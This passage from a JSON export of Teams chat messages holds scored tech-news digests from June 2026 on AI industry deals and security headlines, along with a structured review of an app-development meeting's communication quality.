\"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692653287\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026 - Repeat Pass 1/10\\n\\nFresh pass after the earlier Jun 17 post. Same-event duplicates from prior\\nChatReview posts were skipped.\\n\\n  1. **[Salesforce to acquire AI agent maker Fin in $3.6B deal](https://www.investors.com/news/technology/salesforce-stock-fin-artificial-intelligence-acqusition-crm/)** \\\\- Score: 32/35. Salesforce is buying Fin/Intercom to strengthen Agentforce, showing how agentic AI is reshaping CRM and enterprise support software.\\n  2. **[OpenAI's latest acquisition could reshape Codex](https://www.techradar.com/pro/openais-latest-acquisition-could-see-big-changes-on-the-way-for-its-codex-coding-assistant)** \\\\- Score: 31/35. OpenAI's planned Ona acquisition targets persistent agent environments, a key building block for long-running Codex and workflow automation.\\n  3. **[Microsoft temporarily bans employees from Claude Fable 5](https://www.windowscentral.com/artificial-intelligence/microsoft-temporarily-ban-employees-from-using-claude-fable-5-ai)** \\\\- Score: 31/35. Anthropic data-retention changes triggered internal Microsoft restrictions, highlighting enterprise AI privacy and competitive-data risks.\\n  4. **[OpenAI weighs price cuts to compete with Anthropic](https://nypost.com/2026/06/11/business/openai-weighs-slashing-prices-in-attempt-to-lure-users-from-rival-anthropic-report/)** \\\\- Score: 30/35. Possible token-price cuts point to a broader AI pricing war that could change model selection and product economics for engineering teams.\\n  5. **[Enterprises are still unprepared to operationalize AI agents](https://www.itpro.com/technology/artificial-intelligence/most-enterprises-are-still-unprepared-to-operationalize-it-it-leaders-are-bullish-on-agents-but-keeping-falling-at-the-final-hurdle-heres-why)** \\\\- Score: 29/35. Forrester warns most agent projects remain pilots because governance, orchestration, data quality and security controls are not mature enough.\\n  6. **[Security at machine speed: why the SOC must be rebuilt](https://www.techradar.com/pro/security-at-machine-speed-why-the-soc-must-be-rebuilt-for-the-ai-era)** \\\\- Score: 29/35. AI-accelerated attacks are forcing SOC teams toward agentic detection, faster triage and new response metrics.\\n  7. **[CISA orders urgent patching for exploited Check Point VPN flaw](https://timesofindia.indiatimes.com/technology/tech-news/us-cybersecurity-agency-cisa-to-homeland-security-department-of-state-treasury-and-several-other-government-agencies-you-have-less-than-24-hours-to-fix-/articleshow/131630443.cms)** \\\\- Score: 29/35. Federal agencies were told to fix CVE-2026-50751 quickly, a reminder that VPN and identity-edge systems remain high-priority attack paths.\\n  8. **[Rule taxonomy and evolution in AI IDEs](https://arxiv.org/abs/2606.12231)** \\\\- Score: 28/35. Researchers mined 7,310 AI IDE rules, showing project-specific constraints improve compliance and are becoming real engineering artifacts.\\n  9. **[AI-driven software development: path to agentic processes](https://arxiv.org/abs/2606.15283)** \\\\- Score: 28/35. New research frames agentic development around context, permissions, logging, verification and human approval rather than simple code generation.\\n  10. **[Mining architectural quality under agentic AI adoption](https://arxiv.org/abs/2606.13298)** \\\\- Score: 27/35. A causal Java-repo study warns that architecture metrics can look better simply because AI-assisted codebases grow larger.\\n  11. **[Agentic AI-generated Julia code struggles at HPC scale](https://arxiv.org/abs/2606.16534)** \\\\- Score: 27/35. AI agents produced executable parallel Julia code, but larger HPC runs hit deadlocks, oversubscription and memory failures.\\n  12. **[Chaining tasks, redefining work: a theory of AI automation](https://arxiv.org/abs/2606.15960)** \\\\- Score: 26/35. A new automation model explains how AI changes jobs by chaining adjacent tasks, with implications for workflow and org design.\",\n>       \"created_at\": \"2026-06-17T10:37:33.287Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692653287?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781692120704\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781692120704\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## ChatReview Tech News - Jun 17, 2026\\n\\nReviewed 50+ recent items from Jun 10-17, 2026. Duplicate events from previous\\nChatReview news posts were skipped.\\n\\n  1. **[Anthropic export ban sounds alarms for AI industry](https://www.axios.com/2026/06/16/ai-anthropic-export-controls)** \\\\- Score: 34/35. U.S. controls on Anthropic's Fable/Mythos models raise access, safety and go-to-market risk for frontier AI customers.\\n  2. **[Microsoft turns to Amazon for help with GitHub's AI-driven capacity issues](https://www.businessinsider.com/microsoft-github-amazon-ai-cloud-capacity-2026-6)** \\\\- Score: 34/35. AI coding demand is straining GitHub; Microsoft is reportedly adding AWS capacity to reduce outages and keep developer workflows stable.\\n  3. **[SpaceX is buying AI coding startup Cursor for $60 billion](https://www.businessinsider.com/spacex-confirms-cursor-acquisition-60-billion-ai-coding-startup-2026-6)** \\\\- Score: 33/35. One of the largest AI developer-tool deals would fold Cursor into Musk's AI stack and reshape competition with Copilot, Codex and Claude Code.\\n  4. **[CISA tells US agencies to fix security bugs in as little as 3 days thanks to AI threats](https://www.wired.com/story/cisa-ai-vulnerability-directive)** \\\\- Score: 33/35. CISA's new BOD cuts critical vulnerability remediation to as little as three days, signaling faster patch SLAs for AI-era security.\\n  5. **[Microsoft weighs DeepSeek for Copilot Cowork](https://www.axios.com/2026/06/16/microsoft-copilot-cowork-tokenmaxxing-cowork)** \\\\- Score: 33/35. Microsoft may add Azure-hosted DeepSeek and move Copilot Cowork to usage pricing, highlighting cost pressure in enterprise AI agents.\\n  6. **[Visa to secure payments for shoppers on ChatGPT in OpenAI partnership](https://www.wsj.com/tech/ai/visa-to-secure-payments-for-shoppers-on-chatgpt-in-openai-partnership-7ece5b22)** \\\\- Score: 32/35. Visa and OpenAI are building controlled agent payments for ChatGPT, pushing agentic commerce toward real payment rails and merchant APIs.\\n  7. **[AI shifts cyber's hardest problem from finding flaws to fixing them](https://www.wsj.com/pro/cybersecurity/ai-shifts-cybers-hardest-problem-from-finding-flaws-to-fixing-them-43678882)** \\\\- Score: 32/35. Visa's AI security work argues the bottleneck is no longer finding bugs but validating, patching and testing fixes fast enough.\\n  8. **[Databricks releases general AI agents for businesses](https://www.wsj.com/cio-journal/databricks-releases-general-ai-agents-for-businesses-abffb409)** \\\\- Score: 31/35. Databricks launched Genie One, Genie Agents, App Builder and Genie Code, expanding from data platform into enterprise AI agent workflows.\\n  9. **[Arcade.dev raises $60 million to secure AI agents](https://www.wsj.com/cio-journal/arcade-dev-raises-60-million-to-secure-ai-agents-5d07eff4)** \\\\- Score: 31/35. Arcade's funding spotlights agent authorization: separating reasoning from actions, enforcing runtime policy and auditing MCP/A2A tool access.\\n  10. **[Microsoft walked away from a $3 billion Oracle cloud deal over security concerns](https://www.businessinsider.com/microsoft-was-in-talks-to-lease-oracle-compute-capacity-2026-6)** \\\\- Score: 31/35. Microsoft dropped an Oracle capacity deal over FedRAMP gaps, showing compliance is becoming a hard constraint in AI compute sourcing.\\n  11. **[HPE flexes Juniper muscles in AI networking at Discover event](https://www.investors.com/news/technology/hpe-stock-discover-conference-juniper-artificial-intelligence/)** \\\\- Score: 30/35. HPE is packaging Juniper networking into AI data-center and edge stacks, raising competition with Cisco, Arista and Nvidia networking.\\n  12. **[OpenAI hit with multistate probe into possible user harm as IPO looms](https://apnews.com/article/a95894407773307fae8ae3ce9742b586)** \\\\- Score: 30/35. A 42-state probe into OpenAI's data, ads, minors and safety practices may shape AI product governance and enterprise risk reviews.\\n  13. **[Rackspace stock surges on AMD data-center deal](https://www.barrons.com/articles/rackspace-stock-price-amd-data-center-deal-aebdbae1)** \\\\- Score: 29/35. Rackspace chose AMD as primary AI data-center supplier, part of a broader shift toward managed AI infrastructure outside hyperscaler clouds.\\n  14. **[Nvidia joins AI data-center borrowers as infrastructure debt surges](https://www.investors.com/news/technology/ai-data-centers-suppliers-nvidia-debt/)** \\\\- Score: 29/35. Nvidia's bond issue and rising AI data-center debt show how aggressively the industry is financing compute capacity through 2030.\\n  15. **[Databricks rolls out AI spend controls](https://www.axios.com/2026/06/16/databricks-stop-ai-overspend-tokenmaxxing)** \\\\- Score: 29/35. Databricks' Unity AI Gateway adds spend limits and runaway-use controls, a practical response to unpredictable agent/token costs.\",\n>       \"created_at\": \"2026-06-17T10:28:40.704Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781692120704?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604960018\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604960018\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report - Concise Version\\n\\n**Selected meeting:** Latest completed Fathom meeting, Apr 21, 2026. Reviewed\\nagainst the 20 most recent prior Jenish-recorded meetings. Sensitive details\\nremoved.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### Score Summary\\n\\n  * **Overall:** 4.3/10 - Needs Improvement\\n  * **Grammar:** 3/10 - Poor. Sentences were often incomplete or hard to parse. Some noise may come from transcription, but clarity still needs work.\\n  * **Communication:** 5/10 - Needs Improvement. Right topics were covered, but the meeting lacked structure and recap discipline.\\n  * **Client frustration handling:** 5/10 - Needs Improvement. Risk increases when questions repeat or timelines are not explained early.\\n\\n### What Went Well\\n\\n  * The team identified important risks: backend migration, login, TTS/audio, grammar correction, Roleplay, payment logic, and cleanup.\\n  * Action items were captured for documentation, testing, migration, and feature fixes.\\n  * Across recent meetings, access negotiation and production-risk planning have improved.\\n\\n### Top Issues By Business Impact\\n\\n  1. **High - unclear opening/context.** Evidence: 00:02 and 02:33. The meeting should start with goal, agenda, and expected output.\\n  2. **High - broad status request.** Evidence: 03:03. Ask by module: status, blocker, owner, due date, test proof.\\n  3. **High - migration discussion too unstructured.** Evidence: 18:37. Supabase, webhooks, TTS, queues, keys, and cleanup should be split into decisions.\\n  4. **Medium - repeated completion checks.** Evidence: 09:49, 18:08-18:20, 31:30-32:04. Repeating done/clear without feature names wastes time.\\n  5. **Medium - client delay concern pattern.** Evidence from prior client call: 35:01. The client had asked repeatedly about timing and still did not understand the delay.\\n\\n### Repeated / Unclear Questions\\n\\n  * **Unclear:** \u201cHow much complete and how much rest?\u201d   \\n**Better:** \u201cList each module with status, blocker, owner, due date, and test\\nevidence.\u201d\\n\\n  * **Unclear:** \u201cIs it done?\u201d   \\n**Better:** \u201cIs this implemented, tested on staging, and matching expected\\nbehavior?\u201d\\n\\n  * **Unclear:** \u201cCheck payment logic.\u201d   \\n**Better:** \u201cVerify purchase success, webhook update, entitlement allocation,\\nfailure handling, and refund/cancel behavior.\u201d\\n\\n### Trend Across Recent Meetings\\n\\n  * **Improved:** better access negotiation, better production rollback thinking, more consistent Fathom action-item capture.\\n  * **Still recurring:** weak English polish, unclear meeting control, repeated clarifications, technical detail before business impact, and reactive timeline explanations.\\n\\n### Recommended Actions\\n\\n  1. Use a fixed meeting checklist: agenda, modules, blockers, decisions, owners, dates.\\n  2. Ask one question at a time, then confirm: decision + owner + deadline + test evidence.\\n  3. Before asking the client for access/details, explain why it is needed.\\n  4. End every call with a 60-second recap and send written notes within 15 minutes.\\n\\n**Final recommendation:** Focus first on meeting structure. Grammar matters,\\nbut the biggest business improvement will come from agenda control, clearer\\nquestions, and consistent decision/owner/date recaps.\",\n>       \"created_at\": \"2026-06-16T10:16:00.018Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604960018?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781604667200\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781604667200\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"## Meeting Reviewer Report\\n\\n**Selected meeting:** Most recent completed Fathom recording: Math IQ app\\nreview, Apr 21, 2026.\\n\\n**Trend context:** Reviewed the selected transcript plus the 20 most recent\\nprior Jenish-recorded Fathom meetings from Apr 20 to Feb 27, 2026. Detailed\\nline evidence is from the selected transcript plus two comparison transcripts.\\nSensitive client details have been removed.\\n\\n**Rubric:** 1-3 Poor | 4-6 Needs Improvement | 7-8 Good | 9-10 Excellent.\\n\\n### 1\\\\. Score Summary\\n\\n  * **Overall score:** 4.3/10 - Needs Improvement. Average of grammar, communication, and client-frustration handling.\\n  * **Grammar score:** 3/10 - Poor. Many captured sentences are incomplete, hard to parse, or use unclear word choices. Some may be Fathom transcription noise, but the call still reads difficult to follow.\\n  * **Communication score:** 5/10 - Needs Improvement. The meeting covered the right technical areas, but structure, ownership, and recap discipline were weak.\\n  * **Client-frustration handling score:** 5/10 - Needs Improvement. Latest call was mostly internal, but the broader pattern shows risk when timeline, access, or reason-for-question is not explained before asking for details.\\n  * **Client frustration risk:** 4/10 in the selected internal meeting; higher in client meetings when repeated clarifications or timeline delays appear.\\n\\n### 2\\\\. Conversation Summary\\n\\nThe latest meeting reviewed Math IQ app status, Flutter/backend architecture,\\nmigration from cloud functions to Supabase, push notifications, Google login,\\nTTS/audio playback, grammar correction, Learn Flow, Roleplay, referral\\nhandling, scheduled notifications, payment logic, and documentation. The team\\ndid surface useful tasks, but the conversation was difficult to follow because\\nseveral requests were broad, repeated, or missing a clear\\nowner/date/acceptance-criteria recap.\\n\\n### 3\\\\. What Went Well\\n\\n  * Important technical risks were raised, including backend migration, payment logic, TTS/audio, login, and production cleanup.\\n  * The team did identify concrete follow-ups such as documentation, migration cleanup, feature fixes, testing, and disabling non-priority items.\\n  * Across prior meetings, access negotiation improved: when code access was not available, tester/app access was accepted as a practical alternative.\\n  * In the Apr 6 comparison meeting, rollout risk thinking was stronger: backend first, app submissions separately, rollback if needed, and user migration planning.\\n\\n### 4\\\\. Priority Issues Ranked By Business Impact\\n\\n  1. **High impact - Unclear opening and context.** Evidence: selected transcript L1 @ 00:02 and L2 @ 02:33. The opening did not clearly state agenda, meeting goal, or expected output, which makes the meeting harder to control.\\n  2. **High impact - Broad status request without a checklist.** Evidence: L3 @ 03:03 asked for what is complete and what remains, but not by module, blocker, owner, or due date. This increases risk of missed scope.\\n  3. **High impact - Technical migration discussion lacked decision framing.** Evidence: L6 @ 18:37 covered Supabase migration, webhooks, TTS, queues, keys, and removed tables in one long block. This should have been split into clear decisions and owners.\\n  4. **High impact - Vague task handoff.** Evidence: L11 @ 30:53 asked to check payment logic, but did not define expected behavior, test cases, failure states, or success criteria.\\n  5. **Medium impact - Repeated completion checks.** Evidence: L4 @ 09:49, L5 @ 18:08-18:20, L8 @ 24:15, and L12 @ 31:30-32:04. Repeating done/complete/clear without a precise feature name can waste time and create confusion.\\n  6. **Medium impact - Client delay concern pattern.** Evidence: Apr 6 comparison transcript T2 @ 35:01. The client indicated they had asked repeatedly about timing and still did not understand the delay. This is a trust risk if not acknowledged early.\\n  7. **Low to medium impact - Meeting close was too weak.** Evidence: L13 @ 32:22-32:35. The call ended without a crisp recap of decisions, owners, deadlines, and risks.\\n\\n### 5\\\\. Missed Opportunities\\n\\n  * Start with a 30-second agenda: status, blockers, migration, bugs, owners, deadlines.\\n  * Use a module checklist instead of broad questions like what is complete and what is remaining.\\n  * After each answer, repeat the decision, owner, deadline, and test evidence.\\n  * Explain why access or technical details are needed before asking the client for them.\\n  * Separate internal debugging from client-facing business impact.\\n  * End with a written recap promise and send it immediately after the meeting.\\n\\n### 6\\\\. Repeated Questions\\n\\n  * Completion checks repeated without enough specificity: done, complete, clear, okay.\\n  * Testing questions repeated around Google login, TTS/audio, grammar correction, Roleplay, and notifications.\\n  * Some follow-up was necessary because the transcript was unclear, but repetition could be reduced by keeping a visible checklist and closing each topic before moving on.\\n\\n### 7\\\\. Unclear Requests And Better Versions\\n\\n  * **Unclear:** Tell how much is complete and how much is remaining. **Better:** Please list each module with status, blocker, owner, due date, and test evidence.\\n  * **Unclear:** Do we use Firebase? **Better:** Are we using Firebase for push notifications only, or also auth, database, cloud functions, or analytics?\\n  * **Unclear:** Is it done? **Better:** Is this feature implemented, tested on staging, and verified against the expected behavior?\\n  * **Unclear:** Check payment logic. **Better:** Verify purchase success, webhook update, entitlement allocation, failure handling, and refund/cancel behavior.\\n\\n### 8\\\\. Necessary Follow-Up Vs Unnecessary Repetition\\n\\n**Necessary follow-up questions:**\\n\\n  * Asking for tester access before estimating or quoting.\\n  * Confirming which backend services still depend on cloud functions.\\n  * Confirming whether login, audio/TTS, grammar correction, and Roleplay are actually tested.\\n  * Asking about production rollout, app approval risk, rollback, and user migration.\\n\\n**Unnecessary repetition:**\\n\\n  * Repeating complete/done/clear after the same answer without narrowing the exact feature.\\n  * Re-asking information that should be captured in the checklist.\\n  * Continuing a topic after owner and action are already known instead of closing it.\\n\\n### 9\\\\. Root Causes Of Client Frustration\\n\\n  * Questions are sometimes asked before the business reason is explained.\\n  * Clients may hear repeated technical questions as uncertainty rather than discovery.\\n  * Timeline or delay explanations are sometimes reactive instead of proactive.\\n  * Broad questions create extra clarification work for the client.\\n  * Missing recap discipline means decisions may need to be repeated in future calls.\\n\\n### 10\\\\. Communication Pattern Trend Across Recent Meetings\\n\\n**Improved over time:**\\n\\n  * Access negotiation became more practical: the Apr 20 call moved from code access to tester/app access without blocking the quote process.\\n  * Risk planning improved in production-launch discussions, especially rollback and user migration.\\n  * Fathom action-item capture has become more consistent in recent calls.\\n  * Recent meetings show better awareness of dependencies across backend, app stores, payments, and user impact.\\n\\n**Recurring weaknesses still showing up:**\\n\\n  * English polish and sentence clarity remain weak in client-facing explanations.\\n  * Meeting control is inconsistent: agenda, topic boundaries, and recap are not always clear.\\n  * Broad questions and repeated clarifications keep appearing in technical meetings.\\n  * Business-impact framing often comes after technical details instead of before them.\\n  * Timeline expectations need more proactive communication before the client asks again.\\n\\n### 11\\\\. Recommended Actions\\n\\n  1. **Before each meeting:** Prepare a one-page checklist with agenda, modules, open questions, risks, and required decisions.\\n  2. **During the meeting:** Ask one question at a time, then confirm: decision, owner, due date, and test evidence.\\n  3. **For client questions:** Start with why the detail is needed, then ask the question.\\n  4. **For technical handoffs:** Use Feature / Expected behavior / Current issue / Owner / Due date / Test case.\\n  5. **After the meeting:** Send a recap within 15 minutes with decisions, owners, deadlines, and risks.\\n\\n### 12\\\\. Useful Replacement Phrases\\n\\n  * **Instead of:** Can you give access? **Say:** To estimate accurately, I need tester access to verify the current flow. Code access is not required at this stage.\\n  * **Instead of:** Is this done? **Say:** Can you confirm whether this feature is implemented, tested on staging, and matching the expected behavior?\\n  * **Instead of:** Why delay? **Say:** The delay is due to these risks: approval timing, backend compatibility, and rollback planning. Here is the current plan and fallback.\\n  * **Instead of:** Check this logic. **Say:** Please verify these five cases and report pass/fail with screenshots or logs.\\n\\n### Final Recommendation\\n\\nThe biggest improvement will come from structure, not only grammar. Use a\\nfixed meeting format: agenda, checklist, one question at a time, recap after\\neach topic, and final owner/date/action summary. Grammar practice is still\\nimportant, especially for client-facing estimation, risk, and timeline\\ncommunication.\",\n>       \"created_at\": \"2026-06-16T10:11:07.2Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781604667200?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781174202082\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781174202082\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026** 1\\\\. [Deep dive: How Lightning\\nEngine delivers 4.9x faster Apache Spark\\nperformance](https://cloud.google.com/blog/products/data-analytics/lighting-\\nengine-for-apache-spark-performance-deep-dive/) - AI/cloud update that may\\naffect model access, deployment choices, developer workflows, or platform\\nstrategy. 2\\\\. [Choosing your surface: Antigravity 2.0, Antigravity CLI,\\nAntigravity IDE, or Antigravity\\nSDK](https://cloud.google.com/blog/topics/developers-practitioners/choosing-\\nyour-surface-antigravity-20-antigravity-cli-antigravity-ide-or-antigravity-\\nsdk/) - AI/cloud update that may affect model access, deployment choices,\\ndeveloper workflows, or platform strategy. 3\\\\. [Amazon SageMaker Unified\\nStudio Notebooks now support EMR Serverless](https://aws.amazon.com/about-\\naws/whats-new/2026/06/amazon-sagemaker-unified-studio-emr/) - AI/cloud update\\nthat may affect model access, deployment choices, developer workflows, or\\nplatform strategy. 4\\\\. [Amazon EC2 P6-B200 instances are now available in the\\nAWS GovCloud (US-East) Region](https://aws.amazon.com/about-aws/whats-\\nnew/2026/06/amazon-ec2-p6-b200-aws-govcloud/) - AI/ML update that may affect\\ndeveloper workflows, product strategy, platforms, or technical roadmaps. 5\\\\.\\n[Datadog veterans launch AI coding startup Niteshift on a bet against Big AI\\nlock-in](https://techcrunch.com/2026/06/10/datadog-veterans-launch-ai-coding-\\nstartup-niteshift-on-a-bet-against-big-ai-lock-in/) - AI coding agent startup\\nNiteshift has raised a $7 million seed round from a who's who of angels. It's\\nbetting companies will want power over, not lock-in with model makers. 6\\\\.\\n[For the 2nd time in weeks, Microsoft packages laced with credential\\nstealer](https://arstechnica.com/security/2026/06/for-the-2nd-time-in-weeks-\\nmicrosoft-packages-laced-with-credential-stealer/) - 73 packages run self-\\nreplicating stealer as soon as they're opened by an AI agent. 7\\\\. [Microsoft\\nand Adobe Patch Tuesday, June 2026 Security Update Review -\\nQualys](https://news.google.com/rss/articles/CBMizgFBVV95cUxNcWl1enRmR2J0R24zNUtZcDRrX3VSZTJCNHkxelZxaVgxeUJ5dnhkRTlLN0JuSXlkLVVCa2tySzVxZHUwOTdPcnNUXzR6V1FSTkdWWDVVeUoxYTlhSVVVRzRxRkNlM1ZUYjNJS0F2Y3pzeWxvRXUtaFpyVU9XSVoteDVFNGE5Z01od3hQbVJIeUVWRXBTNkMwZmVIUzJsZGp5cTV2aUp0dUpkSTVaNF8yX0VLQ2xvM1p5Snl1TEg3TVNZd2FuLUVnUU5YbTJIUQ?oc=5)\\n- Security, privacy, or infrastructure update relevant to technical leaders\\nand platform teams. 8\\\\. [PRC-linked influence operations are targeting AI\\ndebates in the US](https://openai.com/index/prc-linked-influence-operations-\\nai-debates) - AI/ML update that may affect developer workflows, product\\nstrategy, platforms, or technical roadmaps. 9\\\\. [Spec-Driven Development: A\\nSpec-First Approach to AI-Native\\nEngineering](https://devblogs.microsoft.com/blog/spec-driven-development-ai-\\nnative-engineering) - AI/ML update that may affect developer workflows,\\nproduct strategy, platforms, or technical roadmaps. 10\\\\. [Angry bug hunter\\nwith Microsoft beef drops new Windows\\n0-day](https://www.theregister.com/security/2026/06/10/nightmare-eclipse-\\npublishes-new-windows-defender-zero-day/5253725) - Revenge is a dish best\\nserved code 11\\\\. [Tumeryk joins Cloud Security Alliance on AI risk scoring -\\nSecurityBrief\\nUK](https://news.google.com/rss/articles/CBMilAFBVV95cUxQTTBPM0NJVk51OC1DNFVtcEFsUEhDMmlEWUZXRHN4QWpMSkNhbFZ2bzVndklMREg4MUE5cFo2akFhbk1hNi1qUGJ6RVI1eHJ0UDlNUnZWclhCT1Y3ckd3ZXhYUHhkem96WjY5TjFwcnJ5Si1KbVQyQVZ2eGprMl9MTTJsSFJDZDFaSnExdFdtbFNpMmZM?oc=5)\\n- AI/ML update that may affect developer workflows, product strategy,\\nplatforms, or technical roadmaps. 12\\\\. [Microsoft fixes BitLocker recovery bug\\non Windows Server\\n2025](https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-\\nbitlocker-recovery-bug-on-windows-server-2025/) - Security, privacy, or\\ninfrastructure update relevant to technical leaders and platform teams.\",\n>       \"created_at\": \"2026-06-11T10:36:42.082Z\",\n>       \"author_name\": \"Jenish Dholakiya\",\n>       \"title\": \"ChatReview\",\n>       \"container_type\": \"chat\",\n>       \"chat_id\": \"19:3668e6772fe24ba4b1da87171a907557@thread.v2\",\n>       \"team_id\": null,\n>       \"channel_id\": null,\n>       \"parent_message_id\": null,\n>       \"mentions\": [],\n>       \"display_url\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781174202082?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"display_title\": \"ChatReview\"\n>     },\n>     {\n>       \"message_id\": \"1781173819999\",\n>       \"path\": \"/chats/19:3668e6772fe24ba4b1da87171a907557@thread.v2/messages/1781173819999\",\n>       \"web_link\": \"https://teams.microsoft.com/l/message/19:3668e6772fe24ba4b1da87171a907557@thread.v2/1781173819999?context={\\\"contextType\\\":\\\"chat\\\"}\",\n>       \"content\": \"**ChatReview Tech News Informer - Jun 11, 2026**\\n\\n  1. [Seeking Counsel: Ongoing Targeted Campaign Against US Law Firms](https://cloud.google.com/blog/topics/threat-intelligence/targeted-campaign-us-law-firms/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  2. [Report: GKE Inference Gateway delivers up to 92% faster AI responses](https://cloud.google.com/blog/products/containers-kubernetes/gke-inference-gateway-prefix-caching-accelerates-ai-inference/) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  3. [Amazon EC2 M9g and M9gd general purpose instances are now available](https://aws.amazon.com/about-aws/whats-new/2026/06/ec2-m9g-m9gd-instances-graviton5-processors-available) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  4. [Run Interactive Workloads on Amazon EMR Serverless with Spark Connect](https://aws.amazon.com/about-aws/whats-new/2026/05/amazon-emr-serverless-spark-connect) \\\\- Cloud or developer-platform update for teams managing infrastructure, deployments, or engineering workflows.\\n  5. [From data to decisions: how LSEG is scaling trusted AI](https://openai.com/index/lseg) \\\\- See how LSEG uses OpenAI to scale trusted AI across its global business, accelerating insights, shrinking release cycles, and empowering 4,000 employees.\\n  6. [TCS and Anthropic launch Global Premier Partnership to drive Enterprise AI scaling - Tata Consultancy Services](https://news.google.com/rss/articles/CBMiyAFBVV95cUxOOHNkYWdNVUtBc3lEOHFLd2RwQ1FoeE0xZXRIWTFYTzd5bFdjQ3kycXVWQ3Q4ZExGSE5zT2t5MUFFMmJ3enBJVnQ3VlhpX3NrNlM3Sldyb1V4SVVVcWhhaVU1aUNwSmVjdnI0Wi1YQ2ZWRFJJQkR4WG1LNUJYVGg4RkdhZkktZ3hQeS1EYTdDdHZjZGtnVTNnWGxtZ052V2FNajFuQlNQMXlwc0lTaFc2TTJpNTJIaEx5RnNvQ3FNLXFkUkFLREpDRA?oc=5) \\\\- AI/ML update that may affect developer workflows, product strategy, platforms, or technical roadmaps.\\n  7. [Introducing the OpenAI Economic Research Exchange](https://openai.com/index/economic-research-exchange) \\\\- AI/cloud update that may affect model access, deployment choices, developer workflows, or platform strategy.\\n  8. [Kalshi adds required employment verification for some prediction market bets](https://www.theverge.com/business/948083/kalshi-prediction-markets-insider-trading) \\\\- The CFTC is considering its first regulation for prediction markets, as arrests over insider trading continue to stack up.\\n  9. [The Miasma worm source code briefly leaked on GitHub](https://www.bleepingcomputer.com/news/security/the-miasma-worm-source-code-briefly-leaked-on-github/) \\\\- The Miasma credential-stealing attack framework, which has recently targeted open-source ecosystems through supply-chain attacks, was briefly open-sourced on GitHub.\\n  10. [Microsoft Build 2026 recap: vision, launches, and top sessions](https://devblogs.microsoft.com/blog/build-recap) \\\\- Technology update likely relevant to software teams, technical leaders, or platform decision-makers.\\n  11. [Google Cloud unpacks governance challenges of AI agents - Computer 